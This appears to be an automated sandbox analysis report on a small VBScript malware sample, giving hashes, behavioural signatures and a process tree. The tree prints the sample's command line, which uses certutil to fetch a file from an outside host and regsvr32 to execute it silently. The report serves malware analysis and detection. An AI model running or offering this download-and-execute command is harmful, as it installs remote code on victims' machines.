Analysis
- max time kernel
146s - max time network
135s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
10/02/2022, 10:34
Static task
static1
Behavioral task
behavioral1
Sample
Documento_17.vbe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Documento_17.vbe
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
- Target Documento_17.vbe
- Size 260B
- Sample220210-ml4z9aghfl
- SHA256 4b87771d315aba151defee69658d30f74777cf642f581fac2185b86b30aee164
- MD5 69ad8b9b103576b314d172df027d9e1d
- SHA1 de55e1f615f919e5e4f8db07a40a0909cd61d18b
- SHA512 b787d3afe30e3a1d0a91644d262352ad46f3a618ef0c6fc27bde12e6c94332daf3cff061d1cf0ece91a8b3800fb156ca6f3e4841501cc74bc94f8462e2d86084
- MD5 SHA1 SHA512
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation WScript.exe - Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3680 svchost.exe Token: SeCreatePagefilePrivilege 3680 svchost.exe Token: SeShutdownPrivilege 3680 svchost.exe Token: SeCreatePagefilePrivilege 3680 svchost.exe Token: SeShutdownPrivilege 3680 svchost.exe Token: SeCreatePagefilePrivilege 3680 svchost.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe Token: SeRestorePrivilege 3128 TiWorker.exe Token: SeSecurityPrivilege 3128 TiWorker.exe Token: SeBackupPrivilege 3128 TiWorker.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4848 wrote to memory of 4680 4848 WScript.exe 82 PID 4848 wrote to memory of 4680 4848 WScript.exe 82 PID 4680 wrote to memory of 1944 4680 cmd.exe 84 PID 4680 wrote to memory of 1944 4680 cmd.exe 84 PID 4680 wrote to memory of 4896 4680 cmd.exe 85 PID 4680 wrote to memory of 4896 4680 cmd.exe 85
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Documento_17.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Administrator\Downloads\image.txt && timeout 5 & regsvr32.exe /s C:\Users\Administrator\Downloads\image.txt2⤵
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Administrator\Downloads\image.txt3⤵PID:1944
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C:\Windows\system32\regsvr32.exeregsvr32.exe /s C:\Users\Administrator\Downloads\image.txt3⤵PID:4896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3680
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3128